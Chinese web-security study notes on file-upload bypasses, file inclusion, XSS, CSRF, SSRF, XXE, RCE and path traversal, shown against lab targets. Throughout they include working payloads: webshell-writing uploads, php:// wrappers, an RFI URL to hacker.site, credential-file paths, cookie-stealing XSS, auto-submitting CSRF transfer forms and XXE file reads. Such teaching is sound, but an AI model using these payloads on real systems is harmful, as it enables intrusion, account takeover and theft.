上诉所提供方法有： %00截断、 MIME类型检测、修改前端禁用JavaScript、更改后缀解析、配置文件+图

片绕过

以下总结方法有：文件幻数绕过、点空格绕过、后缀大小写绕过、空格绕过、点绕过、 ::$DATA绕过、

双写后缀绕过、 0x00截断绕过、图片马绕过、二次渲染绕过、条件竞争绕过、条件竞争+解析漏洞绕过、绕

过move_uploaded_file、数组绕过

 

1、文件幻数绕过

文件格式幻数（Magic Number），它可以用来标记文件或者协议的格式，很多文件都有幻数标志来表明
该文件的格式，简单讲就是在010editor对该文件进行处理，伪装文件头为合法的文件头进行上传

Png： 89 50 4E 47 0D 0A

Gif： 47 49 46 38 39 61
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2、点空格点绕过

利用Windows系统的文件名特性，会自动去掉后缀名最后的.，上传 cmd.php. .进行绕过

 

3、后缀大小写绕过

利用Windows对大小写不敏感的特性。上传 cmd.PHP进行绕过

 

4、空格绕过

上传 cmd.php进行绕过
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5、点绕过

上传 cmd.php.进行绕过

 

6、::$DATA绕过

::$DATA是 Windows系统中用于存储文件数据的特殊属性。它是一种隐藏的属性，用于存储文件的实际

内容。在Windows文件系统中，每个文件都有一个文件属性列表，其中包含了文件的各种属性信息，如
文件名、大小、创建日期等。 ::$DATA属性用于存储文件的实际数据

在Windows系统中，文件数据可以存储在文件本身的::$DATA属性中，也可以存储在其他属性中，如备用
数据流（Alternate Data Streams）。::$DATA属性通常用于存储文件的主要数据，而其他属性则可以用
于存储文件的其他相关信息

::$DATA属性对于普通用户来说是隐藏的，通常只有系统和一些特定的程序才能访问和使用它。对于普通
用户来说，文件的数据是通过文件名来访问和操作的，而不需要直接访问::$DATA属性 

总而言之，::$DATA是Windows系统中用于存储文件实际数据的隐藏属性，它对于普通用户来说是透明
的，只有系统和特定程序才能访问和使用它
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上传 cmd.php::$DATA进行绕过

 

 

7、双写后缀绕过

上传 cmd.pphphp进行绕过

 

 

8、0x00截断绕过

1.首先添加一个标记，这里添加 a，空格a的16进制表示为 0x20、0x61

jim
m

y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y



 

2.在HEX十六进制里找到刚才添加的空格a，将空格的十六进行 20改为 00

 

9、图片马绕过

1.准备一张正常的图片和一个php文件，执行以下命令进行融和：

copy .\3fb.gif/b+.\phpinfo.php/a rh.gif
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2.将文件上传后可以发现文件内容的php代码还在

 

3.再使用文件包含漏洞进行利用

 

 

10、二次渲染绕过

用正常的图片马上传发现文件里的php代码消失了，并且图片看起来也没有任何的变化，说明它在不改变
图片原内容的情况下，重新制作了图片。那么就应该找到那个没有改变的地方，并插入木马
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首先上传一张gif图片，然后再将图片下载下来，比较两张图片的差异。在相同的地方插入php代码并重
新上传即可

 

11、条件竞争绕过

1.准备一个文件内容为： <?php fputs(fopen('shell.php', 'w'), "<?php phpinfo();?>");?>的

php文件

 

2.上传该文件并抓包，对该请求包进行重放，也可以使用 Burp Suite的 Null payloads进行爆破

 

12、条件竞争+解析漏洞绕过

fopen：为写入文件以及文件名

data：则为写入的文件内容是什么
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由于是白名单验证，因此只能上传符合白名单的文件。再配合Apache的解析漏洞，在Apache版本符合条
件下，对 mime.types中没有涉及的文件后缀不会解析，查看 httpd.conf文件下的 mime.types，没有

发现7z后缀，说明不会解析7z文件，比如 test.php.7z这个文件，Apache的解析是从后往前，当7z不
能解析时，其向前解析一直到可以解析的后缀为止，所以将 test.php.7z当作test.php执行

原理跟以上条件竞争一样，方法也是通过并发的形式来进行写入，主要是增加了一个Apache的解析这个
点

 

 

13、绕过move_uploaded_file

实际上是绕过黑名单验证

move_uploaded_file()还有这么一个特性，会忽略掉文件末尾的 /.

 

1.上传一个php马将后缀改为合法格式，在上传中选择的保存文件名后缀加上 /.

 

2.访问对应路径后成功访问
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14、数组绕过

 

 

五、文件包含  

和SQL注入等攻击方式一样，文件包含漏洞也是一种注入型漏洞，其本质就是输入一段用户能够控制的
脚本或者代码，并让服务端执行

什么叫包含呢？以PHP为例，我们常常把可重复使用的函数写入到单个文件中，在使用该函数时，直接
调用此文件，而无需再次编写函数，这一过程叫做包含。

有时候由于网站功能需求，会让前端用户选择要包含的文件，而开发人员又没有对要包含的文件进行安
全考虑，就导致攻击者可以通过修改文件的位置来让后台执行任意文件，从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种
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危害：

1.文件读取。可以传入一个服务器配置文件或者网站配置文件从而读取到该文件的内容

2.获取服务器权限。如果被包含的文件符合PHP语法，则会将该文件当成PHP文件解析执行，无关后缀

 

一.本地文件包含（LFI）  

包含存放在目标服务器本地的文件

 

包含本地文件

仅能够对服务器本地的文件进行包含，由于服务器上的文件并不是攻击者所能够控制的，因此该情况

下，更多的会包含一些固定的系统配置文件，从而读取系统敏感信息。很多时候本地文件包含漏洞会结

合网站的文件上传功能，从而形成更大的威力

 

1、读取敏感文件  

Windows常见文件：

 

linux常见敏感文件：

include()

require()

include_once()

require_once()

1.包含系统敏感文件

2.包含图片马

3.包含日志文件

4.利用php伪协议进行攻击

C:\boot.ini  ---->  查看系统版本

C:\windows\system32\inetsrv\MetaBase.xml ---->  iis配置文件

C:\windows\repair\same  ---->  存储windows系统初次安装密码

C:\ProgramFiles\mysql\my.ini  ---->  mysql配置信息

C:\ProgramFiles\mysql\data\mysql\user.MYD  ---->  mysql root密码

C:\windows\win.ini  ---->  系统信息
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2、包含日志文件  

当我们的目标站点没有上传功能时，此时我们就可以考虑包含日志文件或者其它可以记录客户端输入的

文件  原理非常简单，当我们访问网站时，服务器日志会记录我们的行为，当我们的访问链接中含有恶意
代码时，也会被记录到日志中，从而通过包含日志获取服务器权限

 

首先条件要求是：对方服务器必须开启日志记录

1.以phpStudy为例子，进入到Apache的配置文件目录conf（图中只是一个示例，phpStudy安装在哪里
就进入哪里）

 

2.编辑 httpd.conf文件，找到 #CustomLog "logs/access.log并将最前方的 #号删除并重启Apache

/etc/passwd  ---->  账户信息

/etc/shadow  ---->  账户密码文件

/etc/apache2/apache2.conf  ---->  Apache2默认配置文件

/etc/my.conf  ---->  mysql配置文件

/etc/php/5.6/apache2/php.ini  ---->  php相关配置

/etc/httpd/conf/httpd.conf  ---->  apache配置信息

难点：整个过程最难就是获取日志文件的存放路径，这需要自己对日志路径有一定的了解
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3.进入 Apache的 logs文件夹里，可以看到 access.log文件

 

利用：

1.浏览器访问http://127.0.0.1/，Apache会将客户端的请求消息记录下来，此时在access.log可以看到已
经成功将一句话木马给写进去了
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2.此时包含该文件会失败，因为浏览器将一些特殊字符进行了一次 URL编码    利用Burp Suite进行修改

 

3.重新打开日志文件，此时可以看到一句话木马已经成功写入了

 

4.此时包含该文件，文件中的PHP代码即可执行
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3、包含上传文件  

如果目标服务器存在文件包含漏洞的同时又有文件上传的功能，此时可以进行组合利用

使用方法对标上文文件上传中的图片马

 

 

4、PHP伪协议利用  

PHP 伪协议是 PHP支持的协议与封装协议，可利用这些协议完成许多命令执行

 

为什么会有这些协议？

在 PHP 网站开发中，使用特殊协议（如 data://text/plain、php://input 等）通常是为了处理一些特
定的情况或满足特定的需求。以下是一些常见的情况或需求，可能会用到这些协议：

1. 动态生成内容：有时候需要动态生成一些内容并包含在 PHP 文件中，而不是通过实际的文件路径进
行包含。例如，生成一些配置信息、动态生成一些文本内容等。在这种情况下，使用

data://text/plain  协议可以方便地将文本内容作为文件进行包含。

2. 处理特殊数据格式：如果你的应用程序使用了非标准的数据格式，无法直接使用 PHP 的表单解析功
能或其他库进行处理，你可以使用特殊协议来读取和处理原始数据。例如，使用 php://input  协

议可以获取 POST 请求的原始数据，然后根据自定义的数据格式进行解析和处理。

3. 自定义文件处理：有时候需要自定义文件处理逻辑，例如在文件上传过程中进行特殊的操作。通过
使用 php://input，可以读取请求主体中的原始文件数据，并进行自定义的文件处理操作，而无

需依赖表单上传功能

 

php://input

在 PHP 的文件包含中，php://input可以用作包含文件的路径。php://input是一个特殊的流
（stream），它允许你读取请求的主体内容。

前提条件：php.ini文件中的allow_url_include设置为On

格式：

file://   —--->  访问本地文件系统

http://   —--->  访问 HTTP(s) 网址

ftp://    --—->  访问 FTP(s) URL

php://    --—-> 访问各个输入/输出流（I/Ostreams）

zlib://   --—-> 压缩流

data://   --—-> 数据（RFC 2397）

glob://   --—-> 查找匹配的文件路径模式

phar://   --—-> PHP 归档

ssh2://   --—-> Secure Shell 2

rar://    --—-> RAR

ogg://    --—-> 音频流

expect:// --—-> 处理交互式的流

php://input

post:php代码
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data://

数据流封装器，以传递相应格式的数据。

前提条件： php.ini文件中的 allow_url_include设置为On

格式：

 

php://input与data://区别：

 

 

php://filter

php://filter是一种元封装器，设计用于数据流打开时的筛选过滤。根据名字，filter可以很容易想到

这个协议可以用来过滤一些东西。主要用来查看源码。在进行PHP代码审计时，需要查看目标的源代
码，但是包含PHP文件时会被解析，不能看到源码，这时可以用 php://filter来读取源代码文件

读取源代码并进行 base64编码输出，不然会直接当做 php代码执行就看不到源代码内容了

格式：

 

使用不同的参数可以达到不同的目的和效果：

data://text/plain,php代码]  ---->  ?page=data://text/plain,<?php phpinfo();?>

data://text/plain;base64,base64编码的php代码  ---->    

page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

php://filter/read=convert.base64-encode/resource=index.php
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其它过滤器：

 

zip://

zip://、 bzip2://、 zlib://协议，都属于压缩流，可以访问压缩文件中的子文件。

格式：

其中的路径不同的PHP版本用不同的路径（nts版本可以用相对路径）。优点是可以利用该协议绕过网站
固定包含文件后缀的限制。这里的 %23是 #号的URL编码，如果不进行URL编码的话#号后面的内容是传
不到服务器的，#代表网页中的一个位置。其右面的字符，就是该位置的标识符

步骤：

1. 首先将一个PHP文件添加到zip压缩文件。

2. 将zip压缩文件上传（如果上传点是白名单检测则可以将.zip后缀修改为合法的后缀）

3. 利用zip://协议包含该文件

简称：跟文件上传一样，将上传后的文件调用并执行

 

名称                       描述                                          备注

resource=<要过滤的数据流>    指定了你要筛选过滤的数据流                       必选

read=<读链的筛选列表>        可以设定一个或多个过滤器名称，以管道符（|）分隔      可选

write=<写链的筛选列表>       可以设定一个或多个过滤器名称，以管道符（|）分        可选

(1)字符串过滤器

string.rot13 进行rot13转换

string.toupper 将字符全部大写

string.tolower 将字符全部小写

string.strip_tags 去除空字符、HTML 和 PHP 标记后的结果

(2)转换过滤器

convert.base64-encode base64 编码

convert.base64-decode base64 解码

convert.quoted-printable-encode quoted-printable 编码（也是另一种将二进制进行编码的方

案）

convert.quoted-printable-decode quoted-printable 解码

convert.iconv 实现任意两种编码之间的转换

(3)压缩过滤器

zlib.deflate 压缩过滤器

zlib.inflate 解压过滤器

bzip2.compress 压缩过滤器

bzip2.decompress 解压过滤器

(4)加密过滤器

mcrypt.* 加密过滤器

mdecrypt.* 解密过滤器

zip://绝对(相对)路径/xx.zip%23被压缩的文件

jim
m

y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y



 

phar://

与 zip://协议类似

格式：

适用范围为 php>5.3.0    优点是可以利用该协议绕过网站固定包含文件后缀的限制

 

zip://与 pchar://的区别

 

 

总结  

 

 

 

二.远程文件包含（RFI）  

前提：p hp.ini的 allow_url_fopen的值为 On（默认开启），并且 allow_url_include的值也为 
On（默认关闭）

1.攻击者在自己的服务器上新建一个文件，内容为：。该文件需要能被

目标服务器访问到，这里使用python3启动一个http服务:

phar://相对路径/xx.zip/被压缩的文件

python3 -m http.server --bind 0.0.0.0 1234
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远程文件包含比本地文件包含危害更大、更容易利用，本地文件包含有一定的局限性，比如需要上传

点、需要知道日志路径等；但是一般情况下远程文件包含配置 allow_url_include  为 Off，因此远程

文件包含相对于本地文件包含来说又更少

 

2.通过篡改传参点的值

 

3.触发内容

访问构造的 URL相当于告诉目标服务器，用我们的服务器下的这个文件内容去执行，从而导致能获取到

控制权

 

 

六、XSS（跨站脚本攻击）  

XSS(跨站脚本攻击)是一种常见的Web安全漏洞，攻击者可以通过注入恶意脚本，获取用户的cookie，控
制对方浏览器，XSS攻击通常发生在网站中的搜索框、评论中

危害：

http://xxx.com/xxxx.php?sauce=http://hacker.site/hack.php

1. 钓鱼欺骗：最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站，或者注入钓鱼 

JavaScript 以监控目标网站的表单输入，甚至发起基于 DHTML 更高级的钓鱼攻击方式。

2. 网站挂马：跨站时利用 IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上，或者弹出恶意网

站窗口等方式都可以进行挂马攻击。

3. 身份盗用：Cookie 是用户对于特定网站的身份验证标志，XSS 可以盗取到用户的 Cookie，从而利用该 

Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户 Cookie 被窃取，将会对网站引发巨大的危

害。

4. 盗取网站用户信息：当能够窃取到用户 Cookie 从而获取到用户身份使，攻击者可以获取到用户对网站的

操作权限，从而查看用户隐私信息。

5. 垃圾信息发送：比如在 SNS 社区中，利用 XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目

标群。
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常用的HTML标签

 

常用的JavaScript方法

 

1.反射型  

反射型XSS，又称非持久型XSS，攻击相对于受害者而言是一次性的 具体表现在受害者点击了含有的恶意
JavaScript脚本的 url，恶意代码并没有保存在目标网站，而Web应用程序只是不加处理的把该恶意脚本

“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本

 

示例：

查看网页的后端代码，只要输入的字符不是空字符、 NULL，那就直接打印 Hello加输入的内容

6. 劫持用户 Web 行为：一些高级的 XSS 攻击甚至可以劫持用户的 Web 行为，监视用户的浏览历史，发送

与接收的数据等等。

7. XSS 蠕虫：XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施 DDoS 攻击等

<iframe> 创建包含另一个文档的内联框架

 

 

<textarea> 这个标签定义多行的文本输入控件

 

 

<img> 向网页中嵌入一副图像

 

 

<scirpt> 这个标签用于定义客户端脚本，比如JavaScript  这个标签既可以包含脚本语句，也可以通过

src属性指向外部的脚本文件。必须的type属性规定脚本的MIME类型  JavaScript 的常见应用是图像操

作、表单验证及动态内容更新

alert               alert()方法用于显示带有一条指定消息和一个确认按钮的警告框

 

window.location    window.location对象用于获得当前页面的地址(URL) ,并把浏览器重定向到新的

页面

 

location.href   返回当前显示的文档的完整URL

 

onload                  一张页面或一幅图像完成加载

 

onsubmit              确认按钮被点击

 

onerror                 在加载文档或图像时发生错误
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测试后发现果然打印输出

 

测试是否可以XSS攻击（注意这步及其关键，无论是反射型还是存储型都要先进性XSS的测试）

在输入框输入，弹出窗口，可见存在XSS漏洞

 

接下来就是演示得到此页面的 cookie值，攻击者一般都是通过一些方式（社会工学）让受害者点击一个

链接，这个链接就会拿到受害者在这个页面的cookie

获取当前页面cookie

<?php

 

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

    // Feedback for end user

    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';

}

 

?>  

<script>alert(document.cookie)</script>

 

PHPSESSID=tm2hi5h36iu6lqkroofb990r06; security=low
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将拿到的这个cookie就可以以这个用户的名义去登录网页

换一个浏览器 使用获得的cookie去登录，可见无需用户名与密码，直接登录上来了

限制条件：受害者必须保持开着网页的状态否则cookie值可能会失效

 

2.存储型  

存储型XSS是指应用程序通过Web请求获取不可信赖的数据，在未检验数据是否存在XSS代码的情况下，

便将其存入数据库 当下一次从数据库中获取该数据时程序也未对其进行过滤，页面再次执行XSS代码持续
攻击用户。 存储型XSS漏洞大多出现在留言板、评论区，用户提交了包含XSS代码的留言到数据库，当目
标用户查询留言时，那些留言的内容会从服务器解析之后加载出来

概括：主要是将恶意代码存储到服务器中，下次只要受害者浏览包含此恶意代码的页面就会执行恶意代

码

 

当下一个用户访问攻击者存留的XSS储存型的位置后，会自动弹出

创建成功：

 

使用另一个浏览器登录其它用户，一旦点击到 XSS(stored)后，就会弹出窗口，这样的攻击方式，简单

高效，不必通过一些社工诱导用户点击某个链接，而是直接中招

成功自动弹出：
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3.DOM型  

DOM型 XSS是一种常见的安全漏洞，与反射型和存储型不一样，DOM型依赖于服务器端代码，相反，是

利用的网页客户端代码（一般都是JavaScript）来进行攻击

在 DOM型 XSS攻击中，攻击者可能会向网页中插入恶意的 HTML元素或者是 JavaScript代码，当其它用

户浏览该网页时，恶意代码就会在他们的浏览器中执行

攻击流程如下图：
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通过以上可以发现页面发生了跳转，跳转到了一个 404 Not Found 的页面。值得注意的是，该页面回显
的 404 - Page XXX Not Found  中的 XXX  部分的内容似乎是通过浏览器 URL 中的 error  参数控制的

我们可以修改一下导航栏中 error  字段的传参内容，并重新访问

可以发现， error  字段的内容果然会直接回显回页面中，我们右击页面查看网页源码，看看回显的位置

http://127.0.0.1/DOMBasedXSSLab/404.html?error=jimmy
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可以发现我们传递的参数直接回显在了 <h1>这个 标签中，那么攻击者可以尝试构造下面的 Payload，
来攻击用户

可以看到攻击者构造链接，向 error变量传输了一段JavaScript代码，构造了DOM型的攻击

如果点击了 “确定” 按钮，可以看到，页面基本没有啥影响（弹窗只是为了演示脚本确实被执行了，真攻
击并非如此）

 

整体流程和反射型其实是差不多的，主要是代码处理方面的问题，反射型 XSS 是后端语言处理用户提交

的数据后，将 XSS 攻击代码携带进返回包中传递给客户端；而 DOM 型则是利用用户客户端的 
JavaScript 脚本进行触发的，后端返回的数据包中并不包含 XSS 攻击代码

 

 

总结  

三者对比：

http://127.0.0.1/DOMBasedXSSLab/404.html?error=<img src=1 onerror="alert(/You've 

Been Tricked/)" hidden/>
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把攻击想象成 “投毒” ，区别在于 毒药存放的位置 和 谁负责搅拌毒药（处理恶意代码）：

 

简单来说：

 

常见的测试代码：

 

 

 

-反射型：别人发你个毒链接，你一点中招（服务器帮忙把毒混回给你）

-存储型：有人往网站放了毒（比如评论、留言），后来所有打开这页的人都中招（服务器把毒水灌给访客）

-DOM型：你点了某个链接（或输入），你的浏览器自己“配毒”喝了，压根没告诉服务器（浏览器自己闯祸）

<input onfocus=write('xss') autofocus> 

<img src onerror=alert('xss')> 

<svg onload=alert('xss') > 

<script>alert('xss')</script> 

<a href="javascript:alert('xss')">clickme</a> 

</td><script>alert(123456)</script> 

'><script>alert(123456)</script> 

"><script>alert(123456)</script> 

</title><script>alert(123456)</script> 

<scrip<script>t>alert(123456)</scrip</script>t> 

</div><script>alert(123456)</script>
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七、CSRF（跨站请求伪造）  

跨站请求伪造是一种通过挟持当前用户已登录的Web应用程序从而实现非用户本意的操作的攻击方法。
攻击者通过一些技术手段，挟制用户去访问用户曾经认证过的网站并进行一些操作，比如发邮件、发消
息、购买商品、银行转账等。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去

运行

虽然跟跨站脚本攻击漏洞（XSS）很像，但原理却并不相同，XSS可以获取用户凭证，而CSRF只是利用用
户凭证在用户不知情的情况下执行某些重要操作。通俗的说XSS可以执行任意JS，而CSRF只是请求伪造而
已

 

简单一句话理解就是：用户打开A网站进行转账后，访问B网站（恶意网站），B网站内有存放恶意代码
（比如：调用A网站受害者的余额去进行对攻击者的卡号转账）

 

能成功的原因主要有两点：1.登录受信任站点A，并在本地生成Cookie    2.在不登出A的情况下，访问恶
意站点B

 

1.GET型的CSRF  

只需要正常的HTTP请求访问就可以成功执行

示例：

银行站点A：它以GET请求来完毕银行转账的操作

 

危险站点B：它里面有一段HTML的代码例如以下

http://www.mybank.com/transfer.php?toBankId=11&money=1000
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诱导用户访问：通过钓鱼邮件、论坛广告、虚假红包链接等渠道传播恶意页面链接

收割资金：用户访问后，攻击者账户收到转账💰，全程无需窃取密码（仅利用用户登录态）

 

 

2.POST型的CSRF  

在CSRF攻击流行之初，曾经有一种错误的观点，认为CSRF攻击只能由GET请求发起。因此很多开发者都
认为只要把重要的操作改成只允许POST请求，就能防止CSRF攻击

这样的错误观点形成的原因主要在于，大多数CSRF攻击发起时，使用的HTML标签都是、、等带“src"属
性的标签，这类标签只能够发起一次GET请求，而不能发起POST请求

 

示例：

分析漏洞：攻击者确认银行转账接口为POST请求（如URL： http://bank.com/transfer?to=攻击者账

户&amount=1000），且未校验请求来源（Referer）或Token

表单字段设为 hidden防止用户察觉， script确保页面加载即自动提交

 

总结：

<!-- 方式1：隐藏图片诱导加载 -->

<img src="http://www.mybank.com/transfer?toBankId=11&amount=10000" 

     style="display:none">     <!-- 用户访问即触发转账 

  

<!-- 方式2：隐藏iframe伪装访问 -->

<iframe src="http://www.mybank.com/transfer?toBankId=11&amount=10000" 

        style="display:none"></iframe>  

        

<!-- 方式3：假按钮诱导点击（社会工程学） -->

<a href="http://www.mybank.com/transfer?toBankId=11&amount=10000">

   点击领取100元红包！  

</a>

<!-- 恶意表单：Action指向银行转账接口，隐藏转账字段 -->

<form id="maliciousForm" action="http://bank.com/transfer" method="POST">

  <input type="hidden" name="to" value="hacker_account">       <!-- 攻击者账户 -->

  <input type="hidden" name="amount" value="10000">           <!-- 转账金额 -->

  <input type="hidden" name="csrf" value="dummy_value">       <!-- 伪装CSRF字段 --

>

  <input type="submit" id="autoSubmit" value="Submit">        <!-- 提交按钮 -->

</form>

<!-- JavaScript自动提交表单 -->

<script> 

  document.getElementById("autoSubmit").click();             // 页面加载时触发提交

  // 或隐藏表单：document.forms[0].submit(); 确保用户无感知
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1、最简单的方法就是抓取一个正常请求的数据包，如果没有 Referer字段和 token，那么极有可能存

在CSRF漏洞

2、如果有Referer字段，但是去掉Referer字段后再重新提交，如果该提交还有效，那么基本上可以确定
存在CSRF漏洞

 

 

八、SSRF（服务端请求伪造）  

服务器端请求伪造（Server-side Request Forgery）简称SSRF，是指攻击者通过伪造服务器端请求，从
而使服务器发起对第三方系统的攻击或访问。攻击者通常会使用受害者服务器上的应用程序作为代理来发

起请求，以使请求看起来像是由服务器发起的

 

形成原因：由于服务端提供了从其他服务器应用获取数据的功能，但又没有对目标地址做严格过滤与限
制，导致攻击者可以传入任意的地址来让后端服务器对其发起请求，并返回对该目标地址请求的数据。

比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载、访问内网等等

 

能够造成的危害：

1. 窃取数据：攻击者可以伪造请求以访问服务器内部网络或云环境中的其他服务或资源，以窃取敏感
数

据

2. 攻击第三方系统：攻击者可以伪造请求以攻击第三方系统，例如访问其他组织的敏感数据或执行拒
绝

服务攻击

3. 内部端口扫描：攻击者可以伪造请求以扫描服务器内部端口和服务，以寻找其他可能的漏洞

4. 获取指纹信息：通过获取 web 应用可达服务器服务的指纹信息

 

可能存在漏洞的场景：
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案例：

功能点都是服务端提供了从其他服务器应用获取数据，如过没有对目标地址做过滤和限制，则会形成

SSRF

可以总结出来的核心风险点就是：用户控制URL + 服务器发起请求。假如我们传入的参数是这样：
url=file:///d:/1.txt，则有可能触发本地文件读取

 

漏洞函数

php：

 

file_get_contents()

用于读取文件或URL内容，可导致任意文件读取或访问内网资源

文件上传功能：Web应用程序通常允许用户上传文件，攻击者可以上传包含恶意URL的文件，以触发SSRF漏洞。

图片处理功能：Web应用程序通常包含图片处理功能，攻击者可以在图片URL中注入恶意的URL，以触发SSRF漏

洞。

URL重定向功能：Web应用程序可能包含URL重定向功能，攻击者可以在重定向URL中注入恶意的URL，以触发

SS

RF漏洞。

API调用：Web应用程序可能会使用API与其他服务进行交互，攻击者可以在API请求中注入恶意的URL，以触发

SSRF漏洞。

这些函数用于发出HTTP请求，包括常见的函数如curl_exec() 、file_get_contents()、fsockopen() 

 如果这些函数允许从用户输入中获取URL，但未正确验证和过滤用户输入，攻击者可以通过在URL中注入恶意

代码来触发SSRF漏洞
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支持协议： file://（读取本地文件）、 http://（访问内网服务）

 

curl_exec()

CURL库的核心函数，支持多种协议，攻击面最广：

危险协议：

gopher://：发送任意TCP数据包（如攻击Redis写入定时任务）

dict://：探测服务信息（如 dict://127.0.0.1:6379/info泄露Redis配置）

file://：读取本地文件

 

fsockopen()

建立TCP套接字连接，直接操作原始网络流量：

 

fopen()

打开文件或URL流，配合 file://可读取敏感文件：

 

SoapClient

SOAP协议客户端，若参数可控可访问内部服务：

 

 

java：

// 漏洞代码示例  

$url = $_GET['url'];  

echo file_get_contents($url);  // 未校验$url，可传入file://或http://内网地址  

$url = $_GET['url'];

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);  // 未限制协议

curl_exec($ch);  

$host = $_GET['host'];

$fp = fsockopen($host, 80, $errno, $errstr, 30);  // 可连接内网服务  

$url = $_GET['url'];

$data = fopen($url, "r");  // 传入file:///etc/passwd可获取系统文件  

$client = new SoapClient($_GET['wsdl']);  // 恶意wsdl指向内网
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九、XXE（外部实体注入）  

XXE漏洞全称为 XML External Entity Injection，即XML外部实体注入
XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致用户可以控制外部加载的文
件，从而导致漏洞的发生

XXE漏洞的触发点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml
文件

当允许引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击

内网网站、发起dos攻击等危害

 

案例：

场景：一个Web应用程序允许用户上传XML文件来更新个人配置

攻击方法：攻击者创建一个XML文件，其中包含一个外部实体，该实体引用了服务器上的敏感文件（例
如 /etc/passwd）

XML示例：

导致：当服务器处理此XML文件时，外部实体 xxe被解析，导致 /etc/passwd文件的内容被插入到XML

文档中，并返回给攻击者

 

 

仅支持 HTTP/HTTPS 协议的类：HttpClient 类、HttpURLConnection 类、 OkHttp 类、 Request 

类 

支持 sun.net.www.protocol 所有协议的类：URLConnection 类、URL 类、ImageIO 类

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >    <!--定义元素为ANY表示接受任何元素-->

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>   <!--定义了一个实体xxe，值是读取系统内部

文件-->

<foo>&xxe;</foo>   <!--使用&xxe对实体进行引用，输出时就被“系统文件索引出来的值”替换-->

jim
m

y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y

af://n1033


靶场案例：

1.首先构造一段 XML 代码 ，测试是否有回显对应的值

URL编码后：

页面显示了 xxe 的值，说明网页对输入的 xml 数据是有结果回显的

 

2.接下来可以用带内外部实体注入的方法，来确定是否支持外部实体，以及实施攻击 

构造 payload：

编码后：

<!DOCTYPE foo [    

    <!ENTITY xxe "This is jimmy" > 

]> 

<foo>&xxe;</foo>

%3c!DOCTYPE+foo+%5b++++%0a++++%3c!ENTITY+xxe+%22This+is+jimmy%22+%3e+%0a%5d%3e+%0

a%3cfoo%3e%26xxe%3b%3c%2ffoo%3e

<!DOCTYPE foo [    

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 

<foo>&xxe;</foo>

%3c!DOCTYPE+foo+%5b++++%0a%3c!ENTITY+xxe+SYSTEM+%22file%3a%2f%2f%2fc%3a%2fwindows

%2fwin.ini%22+%3e+%5d%3e+%0a%3cfoo%3e%26xxe%3b%3c%2ffoo%3e
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十、RCE  

RCE 是 “远程执行”的统称，但具体可以分为两种情况：远程命令执行 和 远程代码执行

windows下的拼接符:

 

Linux下的拼接符:

Linux系统中支持用分号 (;)执行多个命令，cmd1;cmd2 按顺序依次执行，先执行cmd1再执行cmd2

 

示例：
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1.远程代码执行（Remote code execution）  

因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞  不

管是使用了代码执行的函数,还是使用了不安全的反序列化等等

PHP相关函数：

 

示例：

查看源码，发现后台并没有对用户输入的内容进行过滤，甚至还使用 eval()函数来执行用户输入的命

令。已知： eval()函数可以执行任意字符串中的代码

 

输入 phpinfo();后成功以php语言执行

eval()   //把字符串 code 作为PHP代码执行

assert()   //检查一个断言是否为 false

preg_replace()   //执行一个正则表达式的搜索和替换

create_function()   //创建一个匿名函数并且返回函数名创

call_user_func()/call_user_func_array()   //把第一个参数作为回调函数调用

usort()/uasort()   //使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
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2.远程命令执行（Remote command execution）  

一般出现这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口；比如我们常
见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面，

用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试，并返回测试结果。 而如
果，设计者在完成该功能时，没有做严格的安全控制，则可能会导致攻击者通过该接口提交 “意想不到”

的命令，从而让后台进行执行，从而控制整个后台服务器

PHP相关函数：

 

示例：

当使用 &号时，两边都可以执行，成功使用系统命令进行查询用户

system()   //执行外部程序，并且显示输出

exec()/shell_exec()   //通过 shell 环境执行命令，并且将完整的输出以字符串的方式返回

pcntl_exec()   //在当前进程空间执行指定程序

passthru()   //执行外部程序并且显示原始输出

popen()   //打开进程文件指针

proc_open()   //执行一个命令，并且打开用来输入/输出的文件指针
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十一、目录穿越（遍历）漏洞  

目录穿越漏洞，也叫做目录遍历/路径遍历漏洞。常发生于文件上传，文件下载，文件下载等处。由于后
端直接接收前端传过来的文件名或路径，没有对其进行检测与过滤，导致攻击者利用 ../的方式进行目录

穿越，达到任意文件读取/下载,任意文件删除，或将任意文件上传到指定目录等

在文件系统路径中， ".."表示上一级目录，当你使用 "../"时，你正在引用当前目录的上一级目录。

如果你使用 "../../"，你实际上在两次 ".."的基础上，再次引用上一级目录，从而返回到上两级目录

 

举例：

这是因为在文件系统路径中，每个 ".."都表示回到上一级目录。所以多个连续的 ".."会连续返回到更

高级别的目录

 

利用点：

